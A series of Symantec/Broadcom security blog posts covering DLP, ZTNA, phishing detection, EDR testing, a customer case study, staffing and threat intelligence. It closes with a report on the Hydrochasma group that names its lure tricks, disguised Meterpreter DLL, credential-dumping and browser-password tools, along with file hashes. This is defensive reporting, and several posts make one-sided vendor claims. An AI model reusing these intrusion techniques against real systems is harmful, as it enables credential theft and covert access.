That confidential data can include everything from valuable business intelligence insights to highly regulated data such as personally identifiable information (PII), protected healthcare information (PHI), and payment card information (PCI).
Email has become the No.1 attack vector, and 49% of cloud hacks and exploits come from email, file sharing, and instant messaging, according to Symantec’s 2017 Shadow Data Report. Moreover, Symantec’s 2018 Internet Security Threat Report found that 90% of targeted threats are aimed squarely at identifying and stealing organization’s sensitive data.
Because cloud apps like Office 365 move information outside of the traditional corporate perimeter, security practices that worked well in on-premise environments no longer hold up and can expose organizations’ IP and compliance-sensitive information to greater risk of data loss and other attacks. “Organizations are struggling with the fact that they don’t own the environment and there’s no more perimeter to protect,” explains Carmine Clementelli, Symantec senior product marketing manager. “Data is exposed more, there are more users accessing data with more devices, and breach exposure is a big thing.”
Everything starts with detection—if you don’t know what you have, you don’t know what you need to protect.
Extending Security to the Cloud
While organizations are under pressure to augment their security practices for cloud platforms like Office 365, they are justifiably leery about having to reinvent the wheel. The good news is they don’t have to, especially with a layered security solution that takes a platform approach thus can deliver visibility across both on-premise and cloud platforms.
In fact, successfully preventing data loss starts with visibility and discovery, or knowing exactly what sensitive data resides where, Clementelli says.
“Everything starts with detection—if you don’t know what you have, you don’t know what you need to protect,” he says.
Solutions like Symantec’s Data Loss Prevention (DLP) deliver a single console and unified policy management that spans every channel, whether that be endpoints, storage, and email as well as in the cloud or on-premise. Using advanced technologies from data fingerprinting to machine learning, Symantec DLP will automatically perform discovery on outbound emails to detect sensitive data and files based on policies, including those supporting key compliance initiatives, and ensure that everything is adequately protected.
The mix should also include dedicated tools for handling data security on inbound emails. Products like Symantec Email Security.cloud use policy configuration, compliance and regulatory templates, email encryption, and other capabilities to analyze email components such as the body, subject, and attachments and take a range of actions. Messages that are approved will be passed through to recipients while emails that are flagged with sensitive data will be automatically protected using policy-based encryption.
A Cloud Access Security Broker (CASB) comes into play to monitor and protect data outside of email. Products like Symantec’s CloudSOC automatically detect confidential data exposed in other Office 365 apps like OneDrive, SharePoint, and Teams, providing visibility into what type of confidential data is in question and who maintains access to it, among other policy points.
As an extension of Symantec DLP’s data detection policies, CloudSOC monitors user activity within the cloud-based Microsoft suite in real-time, enforcing policies that will negate any questionable sharing actions and deleting highly sensitive data that shouldn’t find its way into Office 365.
The platform has a built-in data classification engine that automatically detects and classifies sensitive data that spans a range of file and field types, including documents, databases, video, and custom forms. It works across structured and unstructured content found in emails, messages, and in the cloud, and unlike other CASBs, it employs a machine learning engine to automate the process instead of relying on custom tuning.
Data Loss and Office 365
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How to Successfully Implement Zero Trust Network Access (ZTNA)
Addressing the biggest challenges of ZTNA implementation
The ability to provide secure access to employees, customers, partners, and other third-parties is essential for any business today. In this blog series, Broadcom Software partner Braxton-Grant will look at why ZTNA is increasingly playing a critical role in providing that access and key factors to consider when selecting and implementing ZTNA solutions.
As anyone in IT can attest, the biggest challenges with new technology are usually not with the technology itself, but with the change management and people issues around implementing the technology.
Zero Trust Network Access (ZTNA) solutions can provide invaluable protection for companies that are dealing with a variety of issues that stem from a complex, dispersed workforce. ZTNA is a subset of Zero Trust that deals with identity and access management for users who are accessing an organization’s applications and resources.
As a Broadcom Knight certified on Symantec ZTNA, I work closely with our customers to overcome the integration challenges, while addressing the change management issues that can arise from adopting an important piece of new technology. I’ve learned that four thigs are critical for success.
Identify internal champions. No technology is an island. A ZTNA implementation needs advocates who can build enthusiasm and help smooth over any issues among the different stakeholders.
Assess current environments: A Broadcom Knight can assess a customer’s current environment and make recommendations based on an organization’s expectations, limitations, and restrictions. The implementation process begins with a discussion of a company’s tolerance for change and the teams that need to be worked with to execute that change. A risk-averse organization should not be pushed at a pace that makes them uncomfortable, unsafe, or unsure that they’re getting what they need.
Develop an action plan. A Broadcom Knight can help implement the solution, build documentation, guide internal knowledge transfers, and train employees.
Determine how to identify and measure success. Different companies will want different types of evidence to demonstrate the success or progress of the project. For example, it may be documentation that demonstrates reduced cloud bandwidth use while other companies might want to see reduced ticket queues.
Bring All Your Stakeholders Along
To migrate successfully to ZTNA tools, you should gather the full support of all your stakeholders. This includes the application owners who will use, modify, and identify the data. Other stakeholders might include legal and HR teams, who want to ensure data governance policies meet industry, state, and federal compliance regulations.
Pick Your Use Case
While many people use the minimum viable product (MVP) approach, I believe in bringing the biggest use cases that will provide the most value, such as secure remote work. Customers must identify the best use cases and address any challenges, even the ones the customers may think are unsolvable. The goal is to direct the conversation in the right way that explores all the possible options available.
Set Up the Pilot
Once you understand how to set up and troubleshoot the solution, you are ready to launch the pilot. Typically, a demonstration or proof of concept can be rolled out in less than a week. Most likely, your organization already has policies to determine what data is protected, who is allowed to access the data, and who is allowed to move the data between different systems.
Typically, the internal rule sets that exist for protecting the data can be rewritten in ZTNA. Working with the application team to understand those policies is typically the lengthiest part of the implementation process. Protections can be set up to allow and deny users access to the application under different circumstances. For example, employees might be allowed to download material when using a corporate system but not when using a personal device.
Conclusion
A successful ZTNA implementation process requires a champion who can answer any questions, build processes based on an organization’s requirements and feedback, ensure a smooth transition that satisfies a divergent set of stakeholders, and helps deliver on the organization’s overall business objectives.
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How to Take Protection Against Phishers Up a Notch
Cyber criminals are getting cleverer, deploying phishing variants to confuse defenders. But now there’s a way to detect and blunt their forays earlier than ever
Give cyber criminals credit for persistence. When defenders close off one line of attack, attackers learn through experience to find other ways to disguise their tracks and steal into your network undetected. Nowhere more so than when it comes to phishing where the rates have hovered in the 1 in 2,000-3,000 email range for the last 10 months according to our latest intelligence briefing
Scammers send out a variety of fake e-mails in a bid to deceive unsuspecting victims into sharing their personal or corporate information. And it’s having an effect with phishing attacks causing billions of dollars in damages each year.
Unfortunately, the advantage often lies with attackers and most attack victims visit phishing websites within the first few hours of their launch where they are tricked into clicking on malware-laden links.
The challenge to defenders is made that much harder because approximately a million new malware variants get created every day. The bad guys also deploy a variety of techniques to try and bypass inspections to carry out phishing attacks. Last quarter, for instance, we saw an attack where a URL went to a PDF. Inside the PDF was another link and it was that link that was trying to steal the credentials of someone in the organization.
So, when it comes to defending against phishing threats, the battle ultimately turns on how long it takes an organization to recognize variants and block the attack. Speed and accuracy are decisive in the race to prevent cyber criminals from inflicting major damage.
Over the years, security companies have tried a combination of different technologies to combat the challenge posed by phishing websites. Other vendors have approached the phishing challenge by using reactive blacklists as way to understand which links are bad. At that point, they push down those blacklists onto an email security solution. Fine and well. But it’s a reactive approach that lets attackers set the agenda.
We’ve also been busy trying to figure out possible solutions and I’m happy to share our progress. Symantec has found a new way to recognize phishing attacks faster and more effectively than ever before.
Advanced Phishing Variant Detection to the Rescue
Since the early 2000s, we’ve used a Symantec technology called URL Link Following to scan hyperlinks to determine whether they are being used for spam, phish or malicious purposes. At the time of a scan, it extracts the URL from a message and lets us follow the link to its destination to determine whether there’s a danger.
The problem we encounter with some phishing attacks nowadays is that we have to have all the indicators present to determine whether the link is malware, phishing or spam. This isn’t a trivial job. From an email perspective, it’s vital to balance detecting phishing sites while not blocking someone’s legitimate email. For instance, often the link will look very similar to a legitimate email or URL.
So, we review a variety of different indicators. For instance, we will examine the end destination page and look at static streams on the page itself. If the page asks the user input their personal details, that’s a clear indication the website is phishy.
But this becomes something of an arms race as cyber criminals continue to come up with new ways to try and get around our measures and stop us from being able to detect their handicraft. Sometimes all it takes is for them to make only slight variations and that’s enough to prevent us from discovering the problem.
That’s where Advanced Phishing Variant Detection comes in.
Advanced Phishing Variant Detection uses established computer science techniques to allows us to compare websites to those that we’ve already identified as phishing. That also proves highly effective helping us detect slight variations in an actual downloaded page.
We can follow a questionable link. When it leads back to a phishing site, we can download that phishing site. There may only be slight variations from one phishing site to the next. Cyber criminals might try to throw us off the scent by adding obfuscated content in the page or use different phrases in the page to cover their tracks.
But using all the indicators that we’ve identified and comparing to sites that we’ve not indicated as phishing helps us to make a more accurate determination. The value here is that we’re always evaluating at the time of scan and making the judgment call about whether a website is phishing in real time.
We’ve now integrated Symantec’s Advanced phishing variant detection technology into our cloud and email security products to take protection up a notch. But this isn’t the final coda. It’s been quite successful since we completed the first phase of a product integration in the 4th quarter of last year. We’ve already seeing URL detection improve by up to 2%. At first blush, that might not sound like a lot but it's resulted in 250,000 additional messages getting blocked over a 30-day period. Over the course of coming months, we’re expecting to do even better and develop more indicators that help us zero in on the malicious stuff sent over the transom.
It’s clearly too soon to celebrate victory in the battle against phishing. But keep faith in the future because we’re striding closer all the time.
If you found this information useful, you may enjoy:
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How to Test for the Best Endpoint Protection
Symantec EDR rated best in industry’s most comprehensive test
All software tests are not created equal. A fact that is particularly true when it comes to cybersecurity software.
A test designed to reward vendors for every alert generated, no matter the likelihood of it being a real intrusion, creates winners based on volume, not effectiveness. It does not test real world enterprise security. But it may explain why today some security operations center (SOC) personnel and analysts are overwhelmed with up to thousands of threat alerts a day. Products that are built to win these types of tests don’t deliver what really matters: preventing, effectively and efficiently, real threats to the enterprise environment.
When Everything is a Threat
In theory it may be a good idea that leading Endpoint Detection and Response (EDR) solutions tend to capture everything – legitimate threat or not. But in practice, it is a problem that has become a major reason for so many successful cyberattacks and data breaches.
When analysts can’t respond to every alert, studies show they tend to turn down the noise by picking and choosing, or worse, tuning out and hoping for the best. In fact, on page 4 of a recent industry report, International Data Corporation (IDC) concluded that nearly a third of enterprise SOCs ignore more than 30 percent of all alerts
The issue is further exacerbated by the sheer number of data sources and feeds in the typical enterprise IT environment. Indeed, an IBM study concluded that despite the continuing investment in more security tools – more than 50 in the typical enterprise -- to monitor these data sources and detect cyberattacks, the net result was that the enterprises were more vulnerable to attack than ever.
With so many data sources and too many tools to monitor those sources, it is no wonder security analysts feel the deck is stacked against them. Alert fatigue is becoming endemic in the industry, as analysts find that their prime task is no longer remediating real threats but often trying to determine if the alert threat is real or just another false positive (FP).
Doing it Right: Real World Testing
Real world testing is the right way to measure an EDR security solution. These tests put products into an environment that represents how they perform against an attack by real threat actors, whose actions are mixed in with legitimate traffic. And they don’t count alerts, they determine if the SOC can discover the threat in those series of alerts. One test we think gets it right is done by SE Labs.
SE Labs, is a private, independently owned firm based in the UK, that specializes in advanced cybersecurity testing. A new comparative EDR test performed by SE Labs replicated the real-world techniques used by a variety of active cyberattack groups. This SE Labs test, the Enterprise Advanced Security Test, rewarded participants based on accuracy of threat detection, while penalizing for false positives. Virtually all other major EDR tests do not penalize for false positives, rewarding product behavior that looks good on paper, but in the real world has been shown to hinder SOCs to do their job effectively.
The SE Labs test simulated a typical enterprise environment in which there is a cacophony of good and normal activity occurring at the same time as the malicious activity. The tests also more accurately replicated the current threat landscape by simulating several different attack groups simultaneously rather than just one or two in isolation, as is typical in most tests. Moreover, while using the techniques employed by various known attack groups, the test attackers also went “off script” and freelanced variations on those techniques. Again, this is in dramatic contrast to most industry tests.
The combined result of these test scenarios creates a far more accurate picture of how EDR solutions behave in a real enterprise environment.
Our EDR capability in Symantec Endpoint Security Complete (SES Complete) received a perfect score on SE Labs first comparative EDR test.
Finally, it’s worth noting that the SE Labs test highlights another critical aspect of enterprise security by weighing its findings based on the severity or importance of the threat to the enterprise itself. As security professionals know, all threats are not created equal. The SE Labs comparative EDR test put that consideration front-and-center in its evaluation criteria.
Our EDR capability in Symantec Endpoint Security Complete (SES Complete) received a perfect score on SE Labs first comparative EDR test. We led the field with a 100% score for Total Accuracy, meaning we were perfect with 100% detection while reducing the alert noise. Meanwhile most of the other vendors struggled with this tradeoff between detection and lots of noise.
Of course this was not a surprise. Symantec solutions have long been recognized as the gold standard in endpoint and EDR security. They have consistently scored well in every industry test.
An EDR solution must balance between detection and noise. Testing that doesn’t reflect the real world rewards noise. Real world testing can show you what products can reach a balance, great detection and extensive data collection, without overwhelming the SOC with alerts. So, consider the EDR solution rated the best by the test that is the industry’s most comprehensive and accurate: Symantec Endpoint Security Complete.
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How Williams Racing Kept It Going Virtually Despite the COVID-19 Shutdown
Thanks to its long collaboration with Symantec Enterprise, the storied racing brand was ready for the security challenges of shifting to a remote workforce
Williams Racing engineers and team members had arrived in Melbourne in mid-March, eager to compete in the Australian Grand Prix, an annual event that marks the first round of the Formula One World Championship.
Then everything turned upside down. For Williams - as well as for the rest of the world.
As this was “pre-pandemic” race organizers had implemented a number of precautionary and preventative measures in place for everyone around the paddock, and so when some began testing positive for COVID-19 it became clear that more needed to be done. Soon after, all teams and the race organizers came to an agreement and announced the cancellation of the race as a health precaution, and to postpone the start of the 2020 season.
The Williams team packed up and returned to the UK where the company headquarters was in the midst of shutting down its offices in response to the coronavirus. Like so many other organizations, the Williams workplace would now only be connected over the internet. That presented any number of new logistical and organizational challenges, but as CIO Graeme Hackland later recalled, cyber security would not be one of them.
“We were ready, “he said. “For us, it was just a question of scale.”
Securing the Remote Endpoint
The story goes back to 2014 when Hackland was hired with a mandate to engineer the digital transformation of this legendary Formula 1 brand. As part of his planned overhaul of the company’s IT infrastructure, Hackland also had to make sure that Williams’ increasingly mobile employees were able to connect to the company’s network securely.
This was a paramount concern. The company’s race teams and engineers regularly traveled around the globe. Indeed, long before the COVID-19 outbreak, up to 60% of Williams’ staff could be found working on the outside. But employees could only use company-issued computers to gain network access.
Hackland was able to rely on Symantec for assistance, and found it through a combination of Symantec CASB CloudSOC - recently implemented to secure Williams' principal cloud collaboration tool (Microsoft Office365) - and SEP Mobile, which he had recently deployed throughout the organization.
So when Williams modified its policy to allow personnel to use their personal devices, Hackland needed a solution that would protect data, no matter where it was - whether in motion, whether sitting somewhere in the cloud, or whether on someone's machine. Hackland was able to rely on Symantec, a division of Broadcom (NASDAQ: AVGO), for assistance, and found it through a combination of Symantec CASB CloudSOC - recently implemented to secure Williams' principal cloud collaboration tool (Microsoft Office365) - and SEP Mobile, which he had recently deployed throughout the organization. These two critical security solutions, as part of Williams’ adoption of Integrated Cyber Defense, meant Williams’ data was now protected across a myriad of endpoints - including virtual machines as well as the cloud - and would allow anyone at the company to securely access and send data no matter their location, no matter their device.
“The challenge was how to make sure that the person accessing the network really is who they say they are,” Hackland said. “We needed to know whether an employee’s account has been compromised. And once someone has accessed their data, we need to ensure that they don't use that information inappropriately.”
Passing the Test
The experiment was put to the test with the COVID-19 shutdown as Williams was forced to send a thousand people home and make sure they were equipped to work securely.
"Everything happened extremely quickly, and as a result, the IT group had to deal with a flood of people who were now being asked to work from home," said Al Peasland, Head of Technical and Innovation Partnerships at Williams Racing. "For a lot of our team, working from home and signing into company networks remotely was a new experience. Graeme's group, with the support of Symantec, had to act fast and did an amazing job at making sure our infrastructure was safe, secure and fit for purpose, whilst also acting as a first line of support for the users when they required it."
But all of Williams’ prior work securing its endpoints paid off when it was time to make the pivot to mobile.
“When the health emergency got declared, we were prepared,” Hackland said. “To be sure, we had never attempted anything on this scale and that was a challenge. But we ramped up using the existing systems and security structure we created so that every single employee was able to telecommute from their homes in a very short amount of time. We would have been in huge trouble without Symantec. I think that what we've done with Symantec turned out to be a real success.”
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How You Can Fight Cyber Fatigue
Do Employees Still Disregard the Security Protections their Networks Put in Place to Defend Against Attackers?
More than two decades into the mass adoption of the internet, many rank-and-file employees still disregard the security protections their networks put in place to defend against attackers.
That doesn’t shock Dr. Terry Gudaitis, a security specialist who once spent time as an FBI profiler. Watching people and understanding their motivations is what she does.
A major financial institution she was working with insisted that all employees use its highly secure, wireless network for any business they did. That sounded ideal for a short while. And then the problems started.
“They didn’t have a really good signal, and too many people were trying to jump on,” she says. “And so, someone set up a hotspot on like the 15th floor, in the men’s room. And literally it became like a little café in there. That hot spot had much better connectivity, so people were clamoring to get in. They just wanted better service.”
Years ago, techies might have accused these rogue employees of disloyalty or worse. Nowadays, we call it cyber fatigue. It’s the not-quite sense of burnout that arises when workers are faced with a pokey network, one password too many, an authentication scheme they can’t remember - or some other needless obstacle preventing them from doing their job.
Consultant Dan Kusnetzky, who sees this play out on a regular basis in the corporate world, says that security needs to move towards greater simplicity. Unfortunately, organizations often create unnecessary security complications for their employees. Consider, for instance, the way many businesses treat password security requirements.
“Are the requirements for passwords making them impossible for a normal person to remember? If so, it is likely that a forest of sticky notes containing passwords will sprout on the devices or on a plain-text paper on the desk,” he said.
What’s more, Kusnetzky added, he doesn’t think the average network user should have to remember odd combinations of letters, numbers and punctuation marks, either.
University of Maryland professor Rick Forno has seen plenty of examples of workers driven to distraction by security speed bumps. He’ll even admit to having violated a cardinal rule himself, once.
“The only time I wrote down a password was for a client,” Forno acknowledged.
Forno recalled that each time he would enter the client’s secure facility, the password requirements were more than he could track.
“I’d have to spend 30 minutes getting myself verified,” he said. “I couldn’t remember the password.”
Gudaitis notes that top managers seldom tolerate cumbersome security. Even so, that doesn't mean they should be given special treatment. C-level executives handle the most sensitive information there is, so it's especially important they toe the line along with everyone else.
Persuasion and people skills are critical to getting compliance. Successful security often means thinking like a generalist first and a security guru second.
"The question ‘why does your car have brakes?’ is a telling one,” said consultant and former CERT director Ken Van Wyk. “Most people when asked will tell you it's to enable you to slow down. But the right answer is they are there to enable you to drive fast safely. You have to find a balance ... Security can't just be the department that says no.”
Instead, he said, security professionals should take their cue from an organization like Disney to learn about how to guide users to their goal.
"At Disney World, dad walks up and finds the nearest employee and says, `Hey, my kid wants a Mickey Mouse ice cream bar.’ The Disney approach to customer service is that the employee now owns that problem... But the employee can’t simply say go down this street and find an ice cream bar. The employee has to take you through that solution and make sure it's resolved. Organizations that put their customers first are going to provide superlative service, no matter what."
Security professionals are fighting a popular culture where Gudaitis noted, sloppy cyber hygiene is widespread.
“What I hear from the individual is ‘it’s too complicated. I’m not a techie. It takes too much time. I can’t remember all these passwords.’ There’s a home society culture that competes against a lot of policies that organizations have set,” she said.
Still, society’s experience with seatbelts, bicycle helmets and anti-smoking campaign of the 1960s and 70s offers evidence that public education campaigns can be effective in getting people to change their behavior.
But Gudaitis cautioned against expecting too much, too soon. When it comes to getting employees to unlearn bad security habits that they picked up at home, all too often, the two sides “are still not on the same page.”
Successful security often means thinking like a generalist first and a security guru second.
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How You Can Make Your Threat Intelligence… Intelligent
Symantec’s Threat Intelligence API
When asked about Threat Intelligence feeds I often give the same answer that Groucho Marx gave when asked about Military Intelligence. “Isn’t that a contradiction of terms?” The point is: feeds are not very smart. By the time the data for these feeds have been collected, sorted, collated, bundled and distributed they are more of a historical record. Useful for sure. But there must be a more intelligent way to do it.
There is: Symantec’s Threat Intelligence API. We start out recognizing that the best intelligence is real time. When a threat hunter needs information on a file, hash, domain or IP address that person really wants to know up-to-the-minute information on it. Symantec, as a division of Broadcom, can do that.
And it’s not just the freshness of the data that makes our intelligence special. It’s built so threat hunters can spend less time hunting because of our built-in global context that makes it simple to find additional evidence. We also match observed indicators of compromise (IOCs) to data in the feed to show associations with other indicators. As a result, the threat hunter knows the value of the data without hours of research.
Here’s another reason you might consider a data feed dumb. You have to pay for it. SES Complete customers don’t.
Of course getting written analysis from experts is important, too. So threat intel comes with written tactical intelligence specifically related to your organization, industry or geography. It’s produced daily, weekly and monthly. More importantly it’s produced just in time so you have statistical, historical and predictive trends on attack type groups, threat landscape update, or trends affecting a particular industry or geography -- automatically.
Don’t worry about needing another threat Intelligence platform. Remember it’s an API, it’s integrated into many intelligence platforms already. Or, you can integrate it into your existing custom workflow.
Here’s another reason you might consider a data feed dumb. You have to pay for it. SES Complete customers don’t. It’s just one more great feature of SES Complete, providing you with one more unique tool for keeping your environment safe from attackers.
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How Your Organization Can Overcome the Cyber Skills Shortage
Many companies face the harsh reality that there just isn’t enough skilled talent to go around to adequately safeguard their IT infrastructure.
Against the backdrop of an active threat landscape and an escalating number of cyber security attacks, many companies face the harsh reality that there just isn’t enough skilled talent to go around to adequately safeguard their IT infrastructure.
In its 2017 Internet Security Threat Report (ISTR) Symantec reported that 7.1 billion identities had been exposed through data breaches over the last eight years. And it’s not just big-name retailers and financial institutions that are in the cross-hairs; attackers are also increasingly launching attacks against small and mid-sized companies.
The material cost is formidable with damages related to cyber crime globally expected to reach $6 trillion annually by 2021. Meanwhile, organizations are projected to spend $1 trillion on cyber security cumulatively from 2017 to 2021 to combat growing cyber threats.
But even as they plan to make deploy more security-related technology and services, they will also need to figure out ways to compensate for the shortage of trained cyber security personnel.
“There’s a serious increase in cyber security as a priority because of the amount and severity of the breaches we are seeing,” said Jamie Barclay, senior manager, corporate responsibility at Symantec. “Companies are struggling with getting and deploying the right technology, but they are also grappling with where to find the right talent.”
The numbers underscore the depth of the talent shortage. Demand for security experts growing three times faster than other IT jobs. At the same time, Cyber Security Ventures estimates there were 1 million security-related job openings last year, while the Enterprise Strategy Group found 46% of organizations reporting the scramble to find people with sufficient cyber security skills as an ongoing challenge
Alternative Measures
But organizations can still compensate for the limited talent pool. There are a number of alternative options to bolster cyber security competencies, including outsourcing the function to managed services providers, retraining in-house IT professionals, and drawing candidates from non-traditional areas. In a survey conducted by CIO, CSO, and Computerworld last year, 56% of responding organizations said they were enlisting outside consultants to help with information security strategy, with 40% turning to managed security service providers (MSSPs) to offload security functions almost completely.
Hiring external consultants or outsourcing some security functions is one way to get the job done, according to Richard Borden, vice president of IT for Blackhawk Community Credit Union, which is doing just that as part of a hybrid approach to security. BCCU uses outside partners to handle some IT security audit and remediation tasks, but is also re-skilling an internal staff member to help digest threat intelligence data, SIEM outputs, and third-party testing reports.
“The challenge is to balance the outsourcing of projects versus security remediation across internal and external resources on a case-by-case basis, depending on what resource is best suited to handle the task or project,” he explained.
However, it’s not always easy to retain workers to pick up security functions, according to Borden. He cautioned that not all skills can be taught equally well to all personalities and aptitudes.
“Just because you're a technical IT professional such as a network administrator, systems analyst, or developer, that doesn't mean you're a security expert,” agreed Kevin Beaver, founder and principal information security consultant at Principle Logic LLC. “It can happen as you build on these skills on your way to mastering security, but it's going to take a few years.”
To that point, Beaver says there are no certifications, degrees, webinars, or conferences that are going to transform traditional IT professionals into legitimate security experts overnight.
For companies willing and able to play the long game, one way to cultivate much-needed security talent is to draw from non-traditional pools—for example, the veteran community or local and two-year colleges that don’t necessarily have cyber security degree programs. Symantec’s Cyber Career Connection (C3), a collaboration with educational development non-profit partners such as NPower and Year Up, is focused on creating a pathway for individuals in those communities to prime the cyber security workforce pipeline.
C3 offers training and mentoring designed to raise awareness of cyber security career opportunities while developing a curriculum highly focused on specialized cyber security principles, software, methods, and tools. At the same time, the C3 initiative seeks to create more diversity in the cyber security workforce; thus far, 63% of C3 participants have been people of color while 25% have been female.
“We saw an opportunity to address the skills gap,” Barclay said. “We need to help organizations think differently about the types of people that can do these jobs. We are showing them they can spread a wider net and bring a more diverse population to the table.”
"There’s a serious increase in cyber security as a priority because of the amount and severity of the breaches we are seeing,” - Jamie Barclay, senior manager, corporate responsibility Symantec
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Hydrochasma: Previously Unknown Group Targets Medical and Shipping Organizations in Asia
No custom malware deployed in attack campaign that appears to rely exclusively on open-source tools.
Shipping companies and medical laboratories in Asia are being targeted in a likely intelligence-gathering campaign that relies exclusively on publicly available and living-off-the-land tools.
Hydrochasma, the threat actor behind this campaign, has not been linked to any previously identified group, but appears to have a possible interest in industries that may be involved in COVID-19-related treatments or vaccines.
This activity has been ongoing since at least October 2022. While Symantec, by Broadcom Software, did not see any data being exfiltrated in this campaign, the targets, as well as some of the tools used, indicate that the most likely motivation in this campaign is intelligence gathering.
Attack Chain
The infection vector used by Hydrochasma was most likely a phishing email. The first suspicious activity seen on machines is a lure document with a file name in the victim organization’s native language that appears to indicate it was an email attachment:
[TRANSLATED FROM THE ORIGINAL] Product Specification-Freight-Company Qualification Information wps-pdf Export.pdf.exe
Another lure document appears to be mimicking a resume:
[TRANSLATED FROM THE ORIGINAL] [REDACTED] University-Development Engineer.exe
Following initial access on one machine, the attackers were seen dropping Fast Reverse Proxy (FRP), a tool that can expose a local server that is sitting behind an NAT or firewall to the internet. This drops a legitimate Microsoft Edge update file:
%TEMP%\MicrosoftEdgeUpdate.exe
Another file, %TEMP%\msedgeupdate.dll, is then seen on victim machines. But this file is actually Meterpreter, a tool that is part of the Metasploit framework and which can be used for remote access.
Other tools that were subsequently seen on this victim’s network included:
Gogo scanning tool: An automated scanning engine originally designed for use by red teams.
Process Dumper (lsass.exe): A tool that allows attackers to dump domain passwords.
Cobalt Strike Beacon: An off-the-shelf tool that can be used to execute commands, inject other processes, elevate current processes, or impersonate other processes, and upload and download files. It ostensibly has legitimate uses as a penetration testing tool but is invariably exploited by malicious actors.
AlliN scanning tool: A pentesting scan tool that can be used for lateral penetration of the intranet.
Fscan: A publicly available hacktool that can scan for open ports and more.
Dogz proxy tool: A free VPN proxy tool.
A shellcode loader and a corrupted portable executable (PE) file were also deployed on this victim’s network.
Other tactics, techniques, and procedures (TTPs) observed being used in this campaign included:
SoftEtherVPN: The presence of this tool was what first prompted Symantec researchers to investigate this activity. It is free, open-source, and cross-platform VPN software.
Procdump: Microsoft Sysinternals tool for monitoring an application for CPU spikes and generating crash dumps, but which can also be used as a general process dump utility.
BrowserGhost: A publicly available tool that can grab passwords from an internet browser.
Gost proxy: A tunneling tool.
Ntlmrelay: An NTLM relay attack allows an attacker to intercept validated authentication requests in order to access network services.
Task Scheduler: Allows tasks to be automated on a computer.
Go-strip: Used to make a Go binary smaller in size.
HackBrowserData: An open-source tool that can decrypt browser data.
The tools deployed by Hydrochasma indicate a desire to achieve persistent and stealthy access to victim machines, as well as an effort to escalate privileges and spread laterally across victim networks.
While Symantec researchers didn’t observe data being exfiltrated from victim machines, some of the tools deployed by Hydrochasma do allow for remote access and could potentially be used to exfiltrate data. The sectors targeted also point towards the motivation behind this attack being intelligence gathering.
The lack of custom malware used in this attack is also notable. Relying exclusively on living-off-the-land and publicly available tools can help make an attack stealthier, while also making attribution more difficult. Symantec did not see evidence to link this activity to a known actor, prompting us to create the new actor identity of Hydrochasma for those behind this activity.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
File Indicators
SHA256
409f89f4a00e649ccd8ce1a4a08afe03cb5d1c623ab54a80874aebf09a9840e5 – Fast Reverse Proxy
47d328c308c710a7e84bbfb71aa09593e7a82b707fde0fb9356fb7124118dc88 – GoGo Scanning Tool
6698a81e993363fab0550855c339d9a20a25d159aaa9c4b91f60bb4a68627132 – Dropper
7229bd06cb2a4bbe157d72a3734ba25bc7c08d6644c3747cdc4bcc5776f4b5b9 – Process Dumper (lsass.exe)
72885373e3e8404f1889e479b3d46dd8111280379c4065bfc1e62df093e42aba – Fast Reverse Proxy
72bc8b30df3cdde6c58ef1e8a3eae9e7882d1abe0b7d4810270b5a0cc077bb1a – Cobalt Strike Beacon
7b410fa2a93ed04a4155df30ffde7d43131c724cdf60815ee354988b31e826f8 – Fast Reverse Proxy
7f0807d40e9417141bf274ef8467a240e20109a489524e62b090bccdb4998bc6 – Process Dumper (lsass.exe)
8c0f0d1acb04693a6bdd456a6fcd37243e502b21d17c8d9256940fc7943b1e9a – Cobalt Strike Beacon
8e32ea45e1139b459742e676b7b2499810c3716216ba2ec55b77c79495901043 – Fast Reverse Proxy
981e5f7219a2f92a908459529c42747ac5f5a820995f66234716c538b19993eb – GoGo Scanning Tool
9ebd789e8ca8b96ed55fc8e95c98a45a61baea3805fd440f50f2bde5ffd7a372 – Fast Reverse Proxy
9f5f7ba7d276f162cc32791bfbaa0199013290a8ac250eb95fd90bc004c3fd36 – Cobalt Strike Beacon
a0f5966fcc64ce2d10f24e02ae96cdc91590452b9a96b3b1d4a2f66c722eec34 – AllIn Scanning Tool
cb03b5d517090b20749905a330c55df9eb4d1c6b37b1b31fae1982e32fd10009 – Fscan
d1c4968e7690fd40809491acc8787389de0b7cbc672c235639ae7b4d07d04dd4 – Shellcode Loader
de01492b44372f2e4e38354845e7f86e0be5fb8f5051baafd004ec5c1567039f – Cobalt Strike Beacon
e378d8b5a35d4ec75cae7524e64c1d605f1511f9630c671321ee46aa7c4d378b – PE File
eba22f50eedfec960fac408d9e6add4b0bd91dd5294bee8cff730db53b822841 – Dropper
fc4b5f2ee9da1fe105bb1b7768754d48f798bf181cbc53583387578a5ebc7b56 – Dogz Proxy Tool
02fe00ffd1b076983f3866c04ca95c56cef88c2564fabb586e11e54986e87ba7
084d1fc4236011d442801e423485c8e58f68dc14ec0a8b716fa0fd210de43dda
1744fac628262aa0cf3810bd5168375959be41764c8ca2fa41950a7b1f8f2fad
1d087f6a17227769bcebc799a2cdf1bb2a8fdf6ba560d21a88bb71f1c213a42c
327fc116f8f48f97292184bb50cb3db418f368b3e2a0fb41267ba40254a35a89
3516f94b0fb57e93c6659d813cbf5fb3617dea7a667c78cb70a1914306327906
41b6d26926706bb68530ddff234f69757e3bbef91c47eb0255313ed86cb3f806
44223e5abd106c077908f03c93b8c8baee7d630f1718f9750f16b786cf88fd06
553e0763cf3a938b5754c9d89939a118abe0b235e4be6920c34f562bd758e586
5a62abc0a2208679e414cc71d1f36ffa14b48df2b73ac520e45d557ad77dd004
6770f815480d7cfa0a6fc8599c08ca6013f608d257a2121233e77374e21c53f8
6cb815863088a0ad367b2a525a572323600596f6875a79536aee57202ef24fd5
6f017ad84d0d06f50b6213a0742838b5ec510f3d06f96e0300048f2da6a35c41
7394ab0ed6d1f62e83fc5f8f1eb720ddd07cbd2bcdf6a00b9b63ef6018fa5f90
7800a4fb0cbdf29815c521ea8b00a23e28d7eb365653f2afcfb5572622727218
7f6a1d6950a9464f27d8651a267563d4630d223bf7ac66851917a57f8fac6550
84502fbe3e5172c39e9a97734e6caac79255abffcb55c22752620d908ff33940
916b63b88de2549c4a5c8e13d51df4cf6996067ae30f24c8bb35c66db7c061df
968b28f7d6abb845f2cc7efa93cdcf7660585e22d589267695726de13afea260
9e8b5a84ad108a761619ca040788dcbf07996a9101cecc5c30ba61f9a06945c1
b53d0a43ea91b3c80bc6c87c0c6946816c38876b2cb2f6f772afe94c54d3ad30
b5c4f420067499522b748a34161ad6e140a7f30ab0b8fa63feef760c5e631679
